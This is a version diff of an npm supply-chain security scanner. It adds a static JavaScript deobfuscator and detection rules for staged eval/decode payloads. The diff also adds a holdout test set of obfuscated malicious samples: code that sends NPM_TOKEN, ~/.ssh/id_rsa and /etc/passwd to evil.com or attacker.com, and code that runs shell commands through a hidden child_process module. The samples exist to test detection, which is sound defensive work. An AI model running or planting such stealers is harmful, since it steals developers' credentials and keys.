muaddib-scanner 2.2.3 → 2.2.5

package/README.fr.md

@@ -327,40 +327,6 @@ muaddib scan . --breakdown
 
 Affiche la décomposition explicable du score : contribution de chaque finding au score final, avec les poids par règle et multiplicateurs de sévérité.
 
-### API Threat Feed
-
-```bash
-muaddib feed [--limit N] [--severity LEVEL] [--since DATE]
-muaddib serve [--port N]
-```
-
-Exporte les détections sous forme de flux JSON pour intégration SIEM.
-
-- `muaddib feed` — Affiche le flux de menaces JSON sur stdout (filtrable par limit, sévérité, date)
-- `muaddib serve` — Démarre un serveur HTTP (port 3000 par défaut) avec `GET /feed` et `GET /health`
-
-```bash
-muaddib serve --port 8080
-# GET http://localhost:8080/feed?limit=50&severity=HIGH
-# GET http://localhost:8080/health
-```
-
-### Logging des temps de détection
-
-```bash
-muaddib detections [--stats] [--json]
-```
-
-Historique des détections avec timestamps de première observation et métriques de lead time (délai entre la détection MUAD'DIB et l'advisory publique).
-
-### Suivi du taux de faux positifs
-
-```bash
-muaddib stats [--daily] [--json]
-```
-
-Statistiques de scan : total scanné, clean, suspect, taux de faux positifs, nombre confirmé malveillant. Utilisez `--daily` pour le détail par jour.
-
 ### Replay ground truth
 
 ```bash
@@ -739,7 +705,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
 - **ADR** (Adversarial Detection Rate) : taux de detection sur 35 samples malveillants evasifs (4 vagues red team + holdout promu)
 - **Holdout** (pre-tuning) : taux de detection sur 10 samples jamais vus avant correction des regles (mesure de generalisation)
 
-Lancez `muaddib evaluate` pour reproduire ces metriques localement. Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
+Voir [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) pour le protocole experimental complet.
 
 ---
 

package/README.md

@@ -327,40 +327,6 @@ muaddib scan . --breakdown
 
 Shows explainable score breakdown: how each finding contributes to the final risk score, with per-rule weights and severity multipliers.
 
-### Threat Feed API
-
-```bash
-muaddib feed [--limit N] [--severity LEVEL] [--since DATE]
-muaddib serve [--port N]
-```
-
-Export detections as a JSON threat feed for SIEM integration.
-
-- `muaddib feed` — Output threat feed JSON to stdout (filterable by limit, severity, date)
-- `muaddib serve` — Start an HTTP server (default port 3000) with `GET /feed` and `GET /health` endpoints
-
-```bash
-muaddib serve --port 8080
-# GET http://localhost:8080/feed?limit=50&severity=HIGH
-# GET http://localhost:8080/health
-```
-
-### Detection time logging
-
-```bash
-muaddib detections [--stats] [--json]
-```
-
-View detection history with first-seen timestamps and lead time metrics (time between MUAD'DIB detection and public advisory).
-
-### FP rate tracking
-
-```bash
-muaddib stats [--daily] [--json]
-```
-
-View scan statistics: total scanned, clean, suspect, false positive rate, confirmed malicious count. Use `--daily` for per-day breakdown.
-
 ### Ground truth replay
 
 ```bash
@@ -742,7 +708,7 @@ Output (CLI, JSON, HTML, SARIF, Webhook, Threat Feed)
 - **ADR** (Adversarial Detection Rate): detection rate on 35 evasive malicious samples across 4 red-team waves + promoted holdout
 - **Holdout** (pre-tuning): detection rate on 10 unseen samples before any rule correction (measures generalization)
 
-Run `muaddib evaluate` to reproduce these metrics locally. See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
+See [Evaluation Methodology](docs/EVALUATION_METHODOLOGY.md) for the full experimental protocol.
 
 ---
 

package/bin/muaddib.js

@@ -31,6 +31,7 @@ let temporalPublishMode = false;
 let temporalMaintainerMode = false;
 let temporalFullMode = false;
 let breakdownMode = false;
+let noDeobfuscate = false;
 let feedLimit = null;
 let feedSeverity = null;
 let feedSince = null;
@@ -110,6 +111,8 @@ for (let i = 0; i < options.length; i++) {
     temporalMaintainerMode = true;
   } else if (options[i] === '--breakdown') {
     breakdownMode = true;
+  } else if (options[i] === '--no-deobfuscate') {
+    noDeobfuscate = true;
   } else if (options[i] === '--temporal') {
     temporalMode = true;
   } else if (options[i] === '--limit') {
@@ -363,15 +366,6 @@ const helpText = `
     muaddib scrape                   Scrape new IOCs
     muaddib sandbox <pkg> [--strict] [--no-canary]  Analyze in isolated Docker container
     muaddib sandbox-report <pkg>     Sandbox + detailed network report
-    muaddib feed [options]            Threat feed (JSON)
-    muaddib serve [options]           Start threat feed HTTP server
-    muaddib detections               List recent detections
-    muaddib detections --stats       Show aggregated detection stats
-    muaddib detections --json        Raw JSON output
-    muaddib stats                    Show scan stats + FP rate
-    muaddib stats --daily            Last 7 days daily breakdown
-    muaddib stats --json             Raw JSON dump
-    muaddib evaluate                 Evaluate scanner effectiveness (TPR, FPR, ADR)
     muaddib version                  Show version
 
   Replay Options:
@@ -404,6 +398,7 @@ const helpText = `
     --temporal-maintainer  Detect maintainer changes (new maintainer, account takeover)
     --temporal-full     All temporal analyses (lifecycle + AST + publish + maintainer)
     --no-canary         Disable honey token injection in sandbox
+    --no-deobfuscate    Disable deobfuscation pre-processing
     --exclude [dir]     Exclude directory from scan (repeatable)
     --limit [n]         Limit feed entries (default: 50)
     --severity [level]  Filter by severity (CRITICAL|HIGH|MEDIUM|LOW)
@@ -444,7 +439,8 @@ if (command === 'version' || command === '--version' || command === '-v') {
     temporalMaintainer: temporalMaintainerMode || temporalFullMode,
     exclude: excludeDirs,
     entropyThreshold: entropyThreshold,
-    breakdown: breakdownMode
+    breakdown: breakdownMode,
+    noDeobfuscate: noDeobfuscate
   }).then(exitCode => {
     process.exit(exitCode);
   }).catch(err => {

package/datasets/holdout-v4/atob-eval/index.js

@@ -0,0 +1,2 @@
+// Holdout v4 — atob-eval: classic atob + eval payload
+eval(atob('Y29uc29sZS5sb2coInB3bmVkIik='));

package/datasets/holdout-v4/atob-eval/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "atob-eval",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/datasets/holdout-v4/base64-require/index.js

@@ -0,0 +1,3 @@
+// Holdout v4 — base64-require: module name hidden in base64
+const mod = require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==', 'base64').toString());
+mod.exec('whoami');

package/datasets/holdout-v4/base64-require/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "base64-require",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/datasets/holdout-v4/charcode-fetch/index.js

@@ -0,0 +1,3 @@
+// Holdout v4 — charcode-fetch: URL rebuilt from charCodes
+const url = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 101, 118, 105, 108, 46, 99, 111, 109);
+fetch(url, { method: 'POST', body: process.env.NPM_TOKEN });

package/datasets/holdout-v4/charcode-fetch/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "charcode-fetch",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/datasets/holdout-v4/charcode-spread-homedir/index.js

@@ -0,0 +1,5 @@
+// Holdout v4 — charcode-spread-homedir: module 'os' hidden via charCodes
+const h = String.fromCharCode(...[111, 115]);
+const m = require(h).homedir();
+const f = require('fs').readFileSync(m + '/.ssh/id_rsa');
+require('https').request('https://evil.com').write(f);

package/datasets/holdout-v4/charcode-spread-homedir/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "charcode-spread-homedir",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/datasets/holdout-v4/concat-env-steal/index.js

@@ -0,0 +1,4 @@
+// Holdout v4 — concat-env-steal: env var name rebuilt by concat
+const key = 'NPM' + '_' + 'TOK' + 'EN';
+const val = process.env[key];
+require('https').request({ hostname: 'evil.com', path: '/steal', method: 'POST' }, () => {}).write(val);

package/datasets/holdout-v4/concat-env-steal/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "concat-env-steal",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/datasets/holdout-v4/double-decode-exfil/index.js

@@ -0,0 +1,4 @@
+// Holdout v4 — double-decode-exfil: double base64 encoding
+const modName = Buffer.from(Buffer.from('WTJocGJHUmZjSEp2WTJWemN3PT0=', 'base64').toString(), 'base64').toString();
+const proc = require(modName);
+proc.exec('curl https://evil.com/exfil?data=$(cat /etc/passwd)');

package/datasets/holdout-v4/double-decode-exfil/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "double-decode-exfil",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/datasets/holdout-v4/hex-array-exec/index.js

@@ -0,0 +1,3 @@
+// Holdout v4 — hex-array-exec: shell command hidden in hex array
+const cmd = [0x63, 0x75, 0x72, 0x6c, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x6f, 0x6d].map(c => String.fromCharCode(c)).join('');
+require('child_process').exec(cmd);

package/datasets/holdout-v4/hex-array-exec/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "hex-array-exec",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/datasets/holdout-v4/mixed-obfuscation-stealer/index.js

@@ -0,0 +1,10 @@
+// Holdout v4 — mixed-obfuscation-stealer: 3 techniques combined
+// Module name via charCode
+const modName = String.fromCharCode(102, 115);
+// Path via base64
+const credPath = Buffer.from('L2V0Yy9wYXNzd2Q=', 'base64').toString();
+// URL via concat
+const host = 'https://' + 'att' + 'acker' + '.com';
+
+const data = require(modName).readFileSync(credPath, 'utf8');
+require('https').request(host, { method: 'POST' }, () => {}).write(data);

package/datasets/holdout-v4/mixed-obfuscation-stealer/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "mixed-obfuscation-stealer",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/datasets/holdout-v4/nested-base64-concat/index.js

@@ -0,0 +1,4 @@
+// Holdout v4 — nested-base64-concat: split base64 + concat
+const a = Buffer.from('Y2hpbGRf', 'base64').toString();
+const b = Buffer.from('cHJvY2Vzcw==', 'base64').toString();
+require(a + b).exec('id');

package/datasets/holdout-v4/nested-base64-concat/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "nested-base64-concat",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/datasets/holdout-v4/template-literal-hide/index.js

@@ -0,0 +1,3 @@
+// Holdout v4 — template-literal-hide: module name via template literals
+const mod = `${'child'}${'_process'}`;
+require(mod).exec('curl evil.com');

package/datasets/holdout-v4/template-literal-hide/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "template-literal-hide",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "muaddib-scanner",
-  "version": "2.2.3",
+  "version": "2.2.5",
   "description": "Supply-chain threat detection & response for npm & PyPI/Python",
   "main": "src/index.js",
   "bin": {

package/src/index.js

@@ -19,6 +19,7 @@ const { loadCachedIOCs } = require('./ioc/updater.js');
 const { ensureIOCs } = require('./ioc/bootstrap.js');
 const { scanEntropy } = require('./scanner/entropy.js');
 const { scanAIConfig } = require('./scanner/ai-config.js');
+const { deobfuscate } = require('./scanner/deobfuscate.js');
 const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
 const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
 const { detectPublishAnomaly } = require('./publish-anomaly.js');
@@ -222,6 +223,9 @@ async function run(targetPath, options = {}) {
     spinner.start(`[MUADDIB] Scanning ${targetPath}...`);
   }
 
+  // Deobfuscation pre-processor (pass to AST/dataflow scanners unless disabled)
+  const deobfuscateFn = options.noDeobfuscate ? null : deobfuscate;
+
   // Parallel execution of all independent scanners
   const [
     packageThreats,
@@ -240,11 +244,11 @@ async function run(targetPath, options = {}) {
   ] = await Promise.all([
     scanPackageJson(targetPath),
     scanShellScripts(targetPath),
-    analyzeAST(targetPath),
+    analyzeAST(targetPath, { deobfuscate: deobfuscateFn }),
     Promise.resolve(detectObfuscation(targetPath)),
     scanDependencies(targetPath),
     scanHashes(targetPath),
-    analyzeDataFlow(targetPath),
+    analyzeDataFlow(targetPath, { deobfuscate: deobfuscateFn }),
     scanTyposquatting(targetPath),
     Promise.resolve(scanGitHubActions(targetPath)),
     Promise.resolve(matchPythonIOCs(pythonDeps, targetPath)),

package/src/response/playbooks.js

@@ -318,6 +318,11 @@ const PLAYBOOKS = {
     'Fichier binaire (.png/.jpg/.wasm) reference avec eval() dans le meme fichier. ' +
     'Technique de steganographie: le payload malveillant est cache dans les pixels d\'une image ou les sections d\'un WASM. ' +
     'Analyser le fichier binaire dans un sandbox. Verifier les donnees extraites avant execution.',
+
+  staged_eval_decode:
+    'CRITIQUE: eval() ou Function() recoit un argument decode en base64 (atob/Buffer.from). ' +
+    'Technique de staged payload: le code malveillant est encode puis decode et execute dynamiquement. ' +
+    'Isoler la machine. Decoder le payload manuellement pour analyser le code execute. Supprimer le package.',
 };
 
 function getPlaybook(threatType) {

package/src/rules/index.js

@@ -585,6 +585,19 @@ const RULES = {
     mitre: 'T1027.003'
   },
 
+  staged_eval_decode: {
+    id: 'MUADDIB-AST-021',
+    name: 'Staged Eval Decode',
+    severity: 'CRITICAL',
+    confidence: 'high',
+    description: 'eval() ou Function() recoit un argument decode (atob ou Buffer.from base64). Pattern classique de staged payload: le code malveillant est encode en base64 puis decode et execute dynamiquement.',
+    references: [
+      'https://attack.mitre.org/techniques/T1140/',
+      'https://attack.mitre.org/techniques/T1059/007/'
+    ],
+    mitre: 'T1140'
+  },
+
   env_charcode_reconstruction: {
     id: 'MUADDIB-AST-018',
     name: 'Environment Variable Key Reconstruction',

package/src/scanner/ast.js

@@ -92,22 +92,22 @@ const SANDBOX_INDICATORS = [
   '/proc/self/cgroup'
 ];
 
-async function analyzeAST(targetPath) {
+async function analyzeAST(targetPath, options = {}) {
   const threats = [];
   const files = findJsFiles(targetPath);
 
   for (const file of files) {
     const relativePath = path.relative(targetPath, file).replace(/\\/g, '/');
-    
+
     if (EXCLUDED_FILES.includes(relativePath)) {
       continue;
     }
-    
+
     // Ignore files in dev folders
     if (isDevFile(relativePath)) {
       continue;
     }
-    
+
     try {
       const stat = fs.statSync(file);
       if (stat.size > MAX_FILE_SIZE) continue;
@@ -119,8 +119,26 @@ async function analyzeAST(targetPath) {
     } catch {
       continue;
     }
+
+    // Analyze original code first (preserves obfuscation-detection rules)
     const fileThreats = analyzeFile(content, file, targetPath);
     threats.push(...fileThreats);
+
+    // Also analyze deobfuscated code for additional findings hidden by obfuscation
+    if (typeof options.deobfuscate === 'function') {
+      try {
+        const result = options.deobfuscate(content);
+        if (result.transforms.length > 0) {
+          const deobThreats = analyzeFile(result.code, file, targetPath);
+          const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
+          for (const dt of deobThreats) {
+            if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
+              threats.push(dt);
+            }
+          }
+        }
+      } catch { /* deobfuscation failed — skip */ }
+    }
   }
 
   return threats;
@@ -137,6 +155,34 @@ function hasOnlyStringLiteralArgs(node) {
   return node.arguments.every(arg => arg.type === 'Literal' && typeof arg.value === 'string');
 }
 
+/**
+ * Returns true if a node is a decode call: atob(str) or Buffer.from(str,'base64').toString()
+ * Used to detect staged eval/Function decode patterns.
+ */
+function hasDecodeArg(node) {
+  if (!node || typeof node !== 'object') return false;
+  // atob('...')
+  if (node.type === 'CallExpression' &&
+      node.callee?.type === 'Identifier' && node.callee.name === 'atob') {
+    return true;
+  }
+  // Buffer.from('...', 'base64').toString()
+  if (node.type === 'CallExpression' &&
+      node.callee?.type === 'MemberExpression' &&
+      node.callee.property?.name === 'toString') {
+    const inner = node.callee.object;
+    if (inner?.type === 'CallExpression' &&
+        inner.callee?.type === 'MemberExpression' &&
+        inner.callee.object?.name === 'Buffer' &&
+        inner.callee.property?.name === 'from' &&
+        inner.arguments?.length >= 2 &&
+        inner.arguments[1]?.value === 'base64') {
+      return true;
+    }
+  }
+  return false;
+}
+
 /**
  * Checks if an AST subtree contains decode patterns (base64, atob, fromCharCode).
  */
@@ -391,6 +437,23 @@ function analyzeFile(content, filePath, basePath) {
         }
       }
 
+      // Detect chained: require(non-literal).exec(...) — direct dynamic require + exec
+      if ((execName || memberExec) && node.callee.type === 'MemberExpression' &&
+          node.callee.object?.type === 'CallExpression') {
+        const innerCall = node.callee.object;
+        const innerName = getCallName(innerCall);
+        if (innerName === 'require' && innerCall.arguments.length > 0 &&
+            innerCall.arguments[0]?.type !== 'Literal') {
+          const method = execName || memberExec;
+          threats.push({
+            type: 'dynamic_require_exec',
+            severity: 'CRITICAL',
+            message: `${method}() chained on dynamic require() — obfuscated module + command execution.`,
+            file: path.relative(basePath, filePath)
+          });
+        }
+      }
+
       // Detect sandbox/container evasion: fs.accessSync('/.dockerenv'), fs.existsSync('/.dockerenv'), etc.
       if (node.callee.type === 'MemberExpression' && node.callee.property?.type === 'Identifier') {
         const fsMethod = node.callee.property.name;
@@ -608,27 +671,47 @@ function analyzeFile(content, filePath, basePath) {
 
       if (callName === 'eval') {
         hasEvalInFile = true;
-        const isConstant = hasOnlyStringLiteralArgs(node);
-        threats.push({
-          type: 'dangerous_call_eval',
-          severity: isConstant ? 'LOW' : 'HIGH',
-          message: isConstant
-            ? 'eval() with constant string literal (low risk, globalThis polyfill pattern).'
-            : 'Dangerous call "eval" with dynamic expression detected.',
-          file: path.relative(basePath, filePath)
-        });
+        // Detect staged eval decode: eval(atob(...)) or eval(Buffer.from(...).toString())
+        if (node.arguments.length === 1 && hasDecodeArg(node.arguments[0])) {
+          threats.push({
+            type: 'staged_eval_decode',
+            severity: 'CRITICAL',
+            message: 'eval() with decode argument (atob/Buffer.from base64) — staged payload execution.',
+            file: path.relative(basePath, filePath)
+          });
+        } else {
+          const isConstant = hasOnlyStringLiteralArgs(node);
+          threats.push({
+            type: 'dangerous_call_eval',
+            severity: isConstant ? 'LOW' : 'HIGH',
+            message: isConstant
+              ? 'eval() with constant string literal (low risk, globalThis polyfill pattern).'
+              : 'Dangerous call "eval" with dynamic expression detected.',
+            file: path.relative(basePath, filePath)
+          });
+        }
       } else if (callName === 'Function') {
-        const isConstant = hasOnlyStringLiteralArgs(node);
-        // Function() creates a new scope (unlike eval), so dynamic usage is MEDIUM not HIGH.
-        // Common in template engines (lodash, handlebars) and globalThis polyfills.
-        threats.push({
-          type: 'dangerous_call_function',
-          severity: isConstant ? 'LOW' : 'MEDIUM',
-          message: isConstant
-            ? 'Function() with constant string literal (low risk, globalThis polyfill pattern).'
-            : 'Function() with dynamic expression (template/factory pattern).',
-          file: path.relative(basePath, filePath)
-        });
+        // Detect staged Function decode: new Function(atob(...))
+        if (node.arguments.length >= 1 && hasDecodeArg(node.arguments[node.arguments.length - 1])) {
+          threats.push({
+            type: 'staged_eval_decode',
+            severity: 'CRITICAL',
+            message: 'Function() with decode argument (atob/Buffer.from base64) — staged payload execution.',
+            file: path.relative(basePath, filePath)
+          });
+        } else {
+          const isConstant = hasOnlyStringLiteralArgs(node);
+          // Function() creates a new scope (unlike eval), so dynamic usage is MEDIUM not HIGH.
+          // Common in template engines (lodash, handlebars) and globalThis polyfills.
+          threats.push({
+            type: 'dangerous_call_function',
+            severity: isConstant ? 'LOW' : 'MEDIUM',
+            message: isConstant
+              ? 'Function() with constant string literal (low risk, globalThis polyfill pattern).'
+              : 'Function() with dynamic expression (template/factory pattern).',
+            file: path.relative(basePath, filePath)
+          });
+        }
       }
     },
 

package/src/scanner/dataflow.js

@@ -6,7 +6,7 @@ const { isDevFile, findJsFiles, getCallName } = require('../utils.js');
 
 const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
 
-async function analyzeDataFlow(targetPath) {
+async function analyzeDataFlow(targetPath, options = {}) {
   const threats = [];
   const files = findJsFiles(targetPath);
 
@@ -35,8 +35,25 @@ async function analyzeDataFlow(targetPath) {
       continue;
     }
 
+    // Analyze original code first (preserves obfuscation-detection rules)
     const fileThreats = analyzeFile(content, file, targetPath);
     threats.push(...fileThreats);
+
+    // Also analyze deobfuscated code for additional findings hidden by obfuscation
+    if (typeof options.deobfuscate === 'function') {
+      try {
+        const result = options.deobfuscate(content);
+        if (result.transforms.length > 0) {
+          const deobThreats = analyzeFile(result.code, file, targetPath);
+          const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
+          for (const dt of deobThreats) {
+            if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
+              threats.push(dt);
+            }
+          }
+        }
+      } catch { /* deobfuscation failed — skip */ }
+    }
   }
 
   return threats;

package/src/scanner/deobfuscate.js

@@ -0,0 +1,557 @@
+'use strict';
+
+const acorn = require('acorn');
+const walk = require('acorn-walk');
+
+/**
+ * Lightweight static deobfuscation pre-processor.
+ * Resolves common JS obfuscation patterns via AST rewriting (no eval).
+ *
+ * @param {string} sourceCode — raw JS source
+ * @returns {{ code: string, transforms: Array<{type: string, start: number, end: number, before: string, after: string}> }}
+ */
+function deobfuscate(sourceCode) {
+  const transforms = [];
+
+  // Parse AST — if parsing fails, return source unchanged (fail-safe)
+  let ast;
+  try {
+    ast = acorn.parse(sourceCode, {
+      ecmaVersion: 2024,
+      sourceType: 'module',
+      allowHashBang: true,
+      ranges: true
+    });
+  } catch {
+    return { code: sourceCode, transforms };
+  }
+
+  // Collect replacements as { start, end, value, type, before }
+  const replacements = [];
+
+  walk.simple(ast, {
+    // ---- 1. STRING CONCAT FOLDING ----
+    // 'ch' + 'il' + 'd_' + 'process' → 'child_process'
+    BinaryExpression(node) {
+      if (node.operator !== '+') return;
+      const folded = tryFoldConcat(node);
+      if (folded === null) return;
+      // Avoid folding single literals (no transformation needed)
+      if (node.left.type === 'Literal' && node.right.type === 'Literal' &&
+          typeof node.left.value === 'string' && typeof node.right.value === 'string') {
+        // Simple two-literal concat — always fold
+      } else if (node.type === 'BinaryExpression') {
+        // Nested concat — only fold if top-level (not already inside a folded parent)
+        // We check this by not folding if parent already covers this range
+      }
+      const before = sourceCode.slice(node.start, node.end);
+      const after = quoteString(folded);
+      replacements.push({
+        start: node.start,
+        end: node.end,
+        value: after,
+        type: 'string_concat',
+        before
+      });
+    },
+
+    // ---- 2. CHARCODE REBUILD + 3. BASE64 DECODE ----
+    CallExpression(node) {
+      // String.fromCharCode(99, 104, 105, 108, 100) → "child"
+      if (isStringFromCharCode(node)) {
+        const nums = extractNumericArgs(node);
+        if (nums === null) return;
+        try {
+          const decoded = String.fromCharCode(...nums);
+          const before = sourceCode.slice(node.start, node.end);
+          const after = quoteString(decoded);
+          replacements.push({
+            start: node.start,
+            end: node.end,
+            value: after,
+            type: 'charcode',
+            before
+          });
+        } catch { /* invalid char codes — skip */ }
+        return;
+      }
+
+      // Buffer.from('...', 'base64').toString() → decoded string
+      if (isBufferBase64ToString(node)) {
+        const b64str = extractBufferBase64Arg(node);
+        if (b64str === null) return;
+        try {
+          const decoded = Buffer.from(b64str, 'base64').toString();
+          // Sanity: only replace if decoded is printable ASCII/UTF-8
+          if (!isPrintable(decoded)) return;
+          const before = sourceCode.slice(node.start, node.end);
+          const after = quoteString(decoded);
+          replacements.push({
+            start: node.start,
+            end: node.end,
+            value: after,
+            type: 'base64',
+            before
+          });
+        } catch { /* decode failure — skip */ }
+        return;
+      }
+
+      // atob('...') → decoded string
+      if (isAtobCall(node)) {
+        const b64str = node.arguments[0]?.value;
+        if (typeof b64str !== 'string') return;
+        try {
+          const decoded = Buffer.from(b64str, 'base64').toString();
+          if (!isPrintable(decoded)) return;
+          const before = sourceCode.slice(node.start, node.end);
+          const after = quoteString(decoded);
+          replacements.push({
+            start: node.start,
+            end: node.end,
+            value: after,
+            type: 'base64',
+            before
+          });
+        } catch { /* skip */ }
+        return;
+      }
+
+      // ---- 4. HEX ARRAY MAP ----
+      // [0x63, 0x68, ...].map(c => String.fromCharCode(c)).join('')
+      const hexResult = tryResolveHexArrayMap(node, sourceCode);
+      if (hexResult !== null) {
+        replacements.push(hexResult);
+      }
+    }
+  });
+
+  // De-duplicate: nested BinaryExpression nodes produce overlapping replacements.
+  // Keep only the outermost (widest) replacement for each overlapping range.
+  replacements.sort((a, b) => a.start - b.start || b.end - a.end);
+  const filtered = [];
+  let lastEnd = -1;
+  for (const r of replacements) {
+    if (r.start < lastEnd) continue; // nested inside a wider replacement — skip
+    filtered.push(r);
+    lastEnd = r.end;
+  }
+
+  // Apply replacements from end to start to preserve positions
+  filtered.sort((a, b) => b.start - a.start);
+
+  let code = sourceCode;
+  for (const r of filtered) {
+    code = code.slice(0, r.start) + r.value + code.slice(r.end);
+    transforms.push({
+      type: r.type,
+      start: r.start,
+      end: r.end,
+      before: r.before,
+      after: r.value
+    });
+  }
+
+  // Reverse transforms so they're in source order (start ascending)
+  transforms.reverse();
+
+  // ---- PHASE 2: CONST PROPAGATION ----
+  // If phase 1 produced transforms, re-parse and propagate const string assignments.
+  // const a = 'child_'; const b = 'process'; require(a + b) → require('child_' + 'process') → require('child_process')
+  if (transforms.length > 0) {
+    const phase2 = propagateConsts(code);
+    if (phase2.transforms.length > 0) {
+      code = phase2.code;
+      transforms.push(...phase2.transforms);
+    }
+  }
+
+  return { code, transforms };
+}
+
+/**
+ * Phase 2: Propagate const string literal assignments into identifier references,
+ * then fold any resulting string concatenations.
+ */
+function propagateConsts(sourceCode) {
+  const transforms = [];
+  let ast;
+  try {
+    ast = acorn.parse(sourceCode, {
+      ecmaVersion: 2024,
+      sourceType: 'module',
+      allowHashBang: true,
+      ranges: true
+    });
+  } catch {
+    return { code: sourceCode, transforms };
+  }
+
+  // Collect const declarations: name → { value, initStart, initEnd }
+  const constMap = new Map();
+  // Track which names are assigned more than once (not safe to propagate)
+  const reassigned = new Set();
+
+  walk.simple(ast, {
+    VariableDeclaration(node) {
+      if (node.kind !== 'const') return;
+      for (const decl of node.declarations) {
+        if (decl.id?.type !== 'Identifier') continue;
+        if (!decl.init) continue;
+        if (decl.init.type === 'Literal' && typeof decl.init.value === 'string') {
+          constMap.set(decl.id.name, {
+            value: decl.init.value,
+            declStart: decl.init.start,
+            declEnd: decl.init.end
+          });
+        }
+      }
+    },
+    AssignmentExpression(node) {
+      if (node.left?.type === 'Identifier') {
+        reassigned.add(node.left.name);
+      }
+    }
+  });
+
+  // Remove reassigned names from constMap (not safe)
+  for (const name of reassigned) {
+    constMap.delete(name);
+  }
+
+  if (constMap.size === 0) {
+    return { code: sourceCode, transforms };
+  }
+
+  // Find all Identifier references to propagate (excluding declarations and property names)
+  const replacements = [];
+  walk.simple(ast, {
+    Identifier(node) {
+      if (!constMap.has(node.name)) return;
+      const info = constMap.get(node.name);
+      // Skip the declaration site itself
+      if (node.start === info.declStart || (node.start >= info.declStart && node.end <= info.declEnd)) return;
+      replacements.push({
+        start: node.start,
+        end: node.end,
+        value: quoteString(info.value),
+        type: 'const_propagation',
+        before: sourceCode.slice(node.start, node.end)
+      });
+    }
+  });
+
+  // Filter: skip property access identifiers (obj.prop — prop is not a variable ref)
+  // We detect this by checking if the identifier is a property of a MemberExpression
+  const propPositions = new Set();
+  walk.simple(ast, {
+    MemberExpression(node) {
+      if (!node.computed && node.property?.type === 'Identifier') {
+        propPositions.add(node.property.start);
+      }
+    },
+    VariableDeclarator(node) {
+      // Skip the declaration name itself
+      if (node.id?.type === 'Identifier') {
+        propPositions.add(node.id.start);
+      }
+    }
+  });
+
+  const validReplacements = replacements.filter(r => !propPositions.has(r.start));
+
+  if (validReplacements.length === 0) {
+    return { code: sourceCode, transforms };
+  }
+
+  // Apply replacements from end to start
+  validReplacements.sort((a, b) => b.start - a.start);
+  let code = sourceCode;
+  for (const r of validReplacements) {
+    code = code.slice(0, r.start) + r.value + code.slice(r.end);
+    transforms.push({
+      type: r.type,
+      start: r.start,
+      end: r.end,
+      before: r.before,
+      after: r.value
+    });
+  }
+
+  // Now re-run concat folding on the propagated code
+  const phase3 = foldConcatsOnly(code);
+  if (phase3.transforms.length > 0) {
+    code = phase3.code;
+    transforms.push(...phase3.transforms);
+  }
+
+  transforms.reverse();
+  return { code, transforms };
+}
+
+/**
+ * Run only string concat folding on code (phase 3 after const propagation).
+ */
+function foldConcatsOnly(sourceCode) {
+  const transforms = [];
+  let ast;
+  try {
+    ast = acorn.parse(sourceCode, {
+      ecmaVersion: 2024,
+      sourceType: 'module',
+      allowHashBang: true,
+      ranges: true
+    });
+  } catch {
+    return { code: sourceCode, transforms };
+  }
+
+  const replacements = [];
+  walk.simple(ast, {
+    BinaryExpression(node) {
+      if (node.operator !== '+') return;
+      const folded = tryFoldConcat(node);
+      if (folded === null) return;
+      const before = sourceCode.slice(node.start, node.end);
+      const after = quoteString(folded);
+      replacements.push({ start: node.start, end: node.end, value: after, type: 'string_concat', before });
+    }
+  });
+
+  // De-duplicate overlapping
+  replacements.sort((a, b) => a.start - b.start || b.end - a.end);
+  const filtered = [];
+  let lastEnd = -1;
+  for (const r of replacements) {
+    if (r.start < lastEnd) continue;
+    filtered.push(r);
+    lastEnd = r.end;
+  }
+
+  filtered.sort((a, b) => b.start - a.start);
+  let code = sourceCode;
+  for (const r of filtered) {
+    code = code.slice(0, r.start) + r.value + code.slice(r.end);
+    transforms.push({ type: r.type, start: r.start, end: r.end, before: r.before, after: r.value });
+  }
+
+  return { code, transforms };
+}
+
+// ============================================================
+// HELPERS
+// ============================================================
+
+/**
+ * Recursively fold string concat BinaryExpression.
+ * Returns the concatenated string, or null if any part is not a string literal.
+ */
+function tryFoldConcat(node) {
+  if (node.type === 'Literal' && typeof node.value === 'string') {
+    return node.value;
+  }
+  if (node.type === 'BinaryExpression' && node.operator === '+') {
+    const left = tryFoldConcat(node.left);
+    if (left === null) return null;
+    const right = tryFoldConcat(node.right);
+    if (right === null) return null;
+    return left + right;
+  }
+  return null;
+}
+
+/**
+ * Check if node is String.fromCharCode(...)
+ */
+function isStringFromCharCode(node) {
+  if (node.type !== 'CallExpression') return false;
+  const c = node.callee;
+  if (c.type !== 'MemberExpression') return false;
+  // String.fromCharCode
+  if (c.object?.type === 'Identifier' && c.object.name === 'String' &&
